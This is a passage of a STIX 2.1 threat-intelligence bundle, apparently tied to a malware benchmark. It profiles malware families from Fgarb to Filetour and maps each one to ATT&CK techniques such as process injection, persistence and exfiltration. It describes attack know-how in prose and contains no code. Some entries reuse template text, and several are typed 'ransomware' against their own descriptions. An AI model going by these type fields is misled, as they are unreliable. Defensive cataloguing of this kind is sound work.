      "source_ref": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fesber exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f727c04-6243-5744-b9ee-45ce1deb4e1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fesber exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bc2bca2-f04b-5c2e-a958-d12216e095db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee4316-e9fb-5322-b5e9-a5bd71c74c48",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fesber exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fgarb",
      "description": "Trojan:Win32/Fgarb is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Fgarb</b><br>To an end-user, a Fgarb infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Fgarb is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Fgarb is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Fgarb frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Fgarb reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fgarb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fgarb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--055c2254-3e92-5a8f-bb19-0571b04ab0cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fgarb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--847e5568-5de0-5374-ba4e-8c1fc2f73b3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fgarb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a8708c4-4c81-5290-89ff-5550a0363e16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fgarb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--337dc341-4673-5732-9a6b-dbf5a4a5bde3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fgarb exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01aa507b-928d-5001-8f7e-0d3bee73d382",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--801083f0-de86-5668-85a2-e293dabb7449",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fgarb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Figyek",
      "description": "Trojan:Win32/Figyek is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Figyek</b><br>To an end-user, a Figyek infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Figyek is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Figyek is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Figyek frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Figyek reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Figyek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/figyek"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6125af36-3daa-5cfe-87aa-2fa2e9bea9e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Figyek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7de4e1-a6ae-5cae-9eca-d7a348778052",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Figyek exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bbbfaac-8453-5de5-9e87-1bb14dffcbd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Figyek exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f76df04-9bc9-5c82-a60e-e6ea0df579d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Figyek exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e550f93-8f56-57ba-9e81-8fbed8748d7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2bd9faa4-43e3-5af6-bac6-19f730502812",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Figyek exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bed71bdb-89d9-55be-ada8-c2d10219d68c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filefinder",
      "description": "Spyware:Win32/Filefinder is a specialized information-stealing trojan designed explicitly for data exfiltration and reconnaissance. Unlike broad stealers that grab browser passwords, Filefinder acts more like a targeted search engine for the attacker, silently scanning the compromised file system and network shares for specific documents, databases, or intellectual property, and uploading them to a remote server.<br><br><b>Understanding Filefinder (Spyware/Data Stealers)</b><br>To an end-user, Filefinder is invisible; it does not display ransom notes or degrade performance significantly. For an enterprise, it represents a critical data breach. Attackers deploy Filefinder after gaining initial access to map the network and extract high-value data (like `.docx`, `.pdf`, `.sql`, `.key`, or custom proprietary extensions) before deploying a louder payload like ransomware.<br><br><b>Execution and Data Exfiltration Mechanics</b><br>Filefinder is typically deployed manually by an attacker who has already achieved interactive access (e.g., via RDP or a backdoor). It is designed to run quietly in the background. It utilizes native Windows APIs (like `FindFirstFile` and `FindNextFile`) (`T1083`) to aggressively traverse local drives and mapped SMB shares (`T1039`). It is often configured with a specific list of target file extensions or keywords. When matching files are found, it copies them to a hidden staging directory (`T1074.001`), often compressing and encrypting them into a single archive (like a password-protected `.zip` or `.rar`) (`T1560.001`). Finally, it exfiltrates the archive to the attacker's C2 server using FTP, HTTP POST requests, or cloud storage APIs (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severe breach of confidentiality and intellectual property theft. Host-based IoCs include EDR alerts for anomalous, high-volume file read operations by an unknown executable, the creation of large, encrypted archive files in temporary directories (staging), and unexpected scheduled tasks used for persistence. Network IoCs involve large outbound data transfers to unknown IP addresses or unrecognized cloud storage providers. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filefinder",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filefinder"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8454c9e-cb73-532b-9ba8-36481a93eb33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bed71bdb-89d9-55be-ada8-c2d10219d68c",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filefinder exhibits technique T1083 (File and Directory Discovery (Scanning the filesystem))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8eb54422-527c-55f7-8a82-51de9f75fb77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bed71bdb-89d9-55be-ada8-c2d10219d68c",
      "target_ref": "attack-pattern--772551ec-8f8a-5fc0-9ee5-8b57c9dbe443",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filefinder exhibits technique T1074.001 (Data Staged: Local Data Staging (Copying files to a temp folder))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38e56e6c-f956-5047-bd8b-2184332a4cca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bed71bdb-89d9-55be-ada8-c2d10219d68c",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filefinder exhibits technique T1560.001 (Archive Collected Data: Archive via Utility (Compressing stolen data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05812f85-29d8-5d86-b5b7-4514843d5eef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bed71bdb-89d9-55be-ada8-c2d10219d68c",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filefinder exhibits technique T1048.003 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d26995eb-45e2-5ae1-acc8-076e5fc12294",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filepatch",
      "description": "Riskware:Win32/Filepatch is a highly generic heuristic detection used by antivirus engines to flag software 'cracks', 'patchers', or 'keygens'. These tools are designed to illegally bypass the digital rights management (DRM) or licensing mechanisms of commercial software. While the patcher itself might successfully crack the software, it is a primary vector for malware distribution; threat actors heavily bundle devastating payloads (ransomware, info-stealers) alongside these illegal tools.<br><br><b>Understanding Filepatch (Software Cracks)</b><br>To an end-user, a Filepatch tool is a way to get expensive software for free. For a security administrator, it represents a severe policy violation and a critical security incident. The user is deliberately bypassing security controls, often running unknown executables with Administrator privileges and actively disabling their antivirus to allow the 'crack' to work (`T1562.001`).<br><br><b>Execution and Risk Mechanics</b><br>These tools are downloaded from underground forums or torrent sites. Upon execution, the patcher modifies the memory or the on-disk executable of the targeted commercial software (`T1574.001`) to bypass license checks. However, because the user is already granting the tool deep system access, bundled malware (like a silent coin-miner or a backdoor RAT) is simultaneously installed in the background. The 'Filepatch' detection flags the behavior of tampering with other executables or the known signatures of popular cracking frameworks.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the high probability of a secondary, severe malware infection, alongside the legal/compliance risks of software piracy. Host-based IoCs include EDR alerts for 'Suspicious File Modification' targeting program files in `C:\\Program Files`, the presence of files named `crack.exe`, `patch.exe`, or `keygen.exe` in the user's Downloads folder, and event logs showing the local Antivirus being temporarily disabled. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filepatch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filepatch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad548fc0-8fe2-590d-b92d-4596770a4971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d26995eb-45e2-5ae1-acc8-076e5fc12294",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filepatch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Users disabling AV to run the crack))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c685e7e4-c8e8-5a72-8d32-f3d000c373e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d26995eb-45e2-5ae1-acc8-076e5fc12294",
      "target_ref": "attack-pattern--4cac5ad8-9b35-5105-99ec-b9d2404aa582",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filepatch exhibits technique T1574.001 (Hijack Execution Flow: Search Order Hijacking (Modifying legitimate software to bypass DRM))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b13031c-7a3d-5f6f-89b3-168372bc33e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d26995eb-45e2-5ae1-acc8-076e5fc12294",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filepatch exhibits technique T1204.002 (User Execution: Malicious File (The user intentionally running the tool))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d4e3d6a-8aff-5054-864b-3123eb406744",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filerepmalware",
      "description": "FileRepMalware (identified across endpoint security platforms and telemetry as Win32:FileRepMalware [Trj], FileRepMalware [PUP], and Win64:FileRepMalware) is a widely encountered cloud reputation and heuristic detection signature established by Avast and AVG security engines. Triggered when an executable demonstrates a low prevalence score, lacks recognized digital code-signing certificates, and exhibits behavioral indicators common to trojans, downloaders, or potentially unwanted programs (PUPs), FileRepMalware acts as an automated triage shield against zero-day crimeware. Threats categorized under FileRepMalware span freshly compiled malware droppers, trojanized utility installers, unauthorized cryptocurrency miners, and ad injection stubs that attempt to slip past static signature databases by frequently altering binary hashes. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Win32:FileRepMalware [Trj]",
        "FileRepMalware [PUP]",
        "Win64:FileRepMalware",
        "FileRepMalware",
        "Win32:FileRepMalware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filerepmalware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filerepmalware"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1d6d99b3-40ec-53a8-b636-52dcec5ddd16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filerepmetagen",
      "description": "Behavior:Win32/Filerepmetagen is not a specific malware family, but a **Reputation-Based Heuristic Detection** utilized by modern antivirus and EDR solutions (specifically those leveraging cloud intelligence, like Avast or Microsoft). It flags executable files that are extremely new, very rarely seen in the global user base, lack a valid digital signature, and exhibit potentially suspicious characteristics (like being packed).<br><br><b>Understanding Filerepmetagen (Cloud Reputation)</b><br>To an end-user, this detection usually results in a file being blocked or quarantined immediately upon download, accompanied by a warning that the file is 'rare or suspicious'. For a security analyst, a Filerepmetagen alert is an indicator of an unknown, potentially zero-day threat, or simply a false positive caused by a developer compiling a new, internal, unsigned application.<br><br><b>Execution and Detection Mechanics</b><br>When a user attempts to download (`T1189`) or execute (`T1204.002`) an unknown file, the AV engine calculates the file's hash and metadata and queries a cloud-based threat intelligence database. If the database returns that the file has a 'low prevalence' (seen on very few machines globally), has a 'young age' (compiled very recently), lacks a verified publisher certificate (`T1553.002`), and perhaps originates from a low-reputation domain, the engine heuristically flags it as Filerepmetagen to protect the user proactively, even without a specific malware signature.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the nature of the flagged file. If it is malware, the AV has successfully prevented an infection. Host-based IoCs are limited to the AV quarantine logs showing the block. EDR telemetry will detail the file's origin (e.g., downloaded via Chrome from a specific URL). Investigation requires determining if the file is a legitimate internal tool or a genuinely malicious dropper. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filerepmetagen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filerepmetagen"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d58ffbd-268f-55d1-9f5e-8899dfba81cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6d99b3-40ec-53a8-b636-52dcec5ddd16",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filerepmetagen exhibits technique T1204.002 (User Execution: Malicious File (Attempted execution of the unknown binary))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8811734-2307-5731-acdd-e245205809c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1d6d99b3-40ec-53a8-b636-52dcec5ddd16",
      "target_ref": "attack-pattern--7415154c-1115-577c-adf2-82a877576a4e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filerepmetagen exhibits technique T1553.002 (Subvert Trust Controls: Code Signing (Lack of a valid digital signature triggers the alert))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filetour",
      "description": "FileTour (cataloged across threat telemetry as Trojan:Win32/Filetour, Adware.FileTour, and PUA:Win32/Filetour) is a dual-function software bundler and stealth cryptocurrency miner loader documented by Microsoft Defender, BleepingComputer, and Malwarebytes. Tied to Russian pay-per-install (PPI) affiliate programs such as MoneyInst and InstallRed, FileTour spreads packaged inside pirated game cracks, application keygens, and unofficial utility patchers. In addition to dropping intrusive adware toolbars and hijacking browser homepages, aggressive FileTour variants spawn hidden, offscreen or headless browser processes (such as Google Chrome) during user sessions. These headless processes execute JavaScript-based Monero coinminers in the background, consuming substantial CPU resources while evading traditional task manager scrutiny through process camouflage. (Observed samples in benchmark: 3,238)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Filetour",
        "Adware.FileTour",
        "PUA:Win32/Filetour",
        "PUP.Optional.FileTour",
        "Trojan.Filetour",
        "Win32/FileTour.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filetour",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filetour"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--796fd183-c52b-5ef6-a55a-c5a66de68ac1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filetour exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7395b541-84ae-5f3e-8770-f51218796a38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filetour exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79615722-b6d4-511a-b824-1424c471eba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filetour exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33f3db23-44dc-5736-8fa0-f3df93f558db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filetour exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e2169c0-169f-5def-ba4b-31414f730733",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8478ccd0-11fd-59df-ae2b-4bc58fb4f3d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filetour exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Filoskeed",
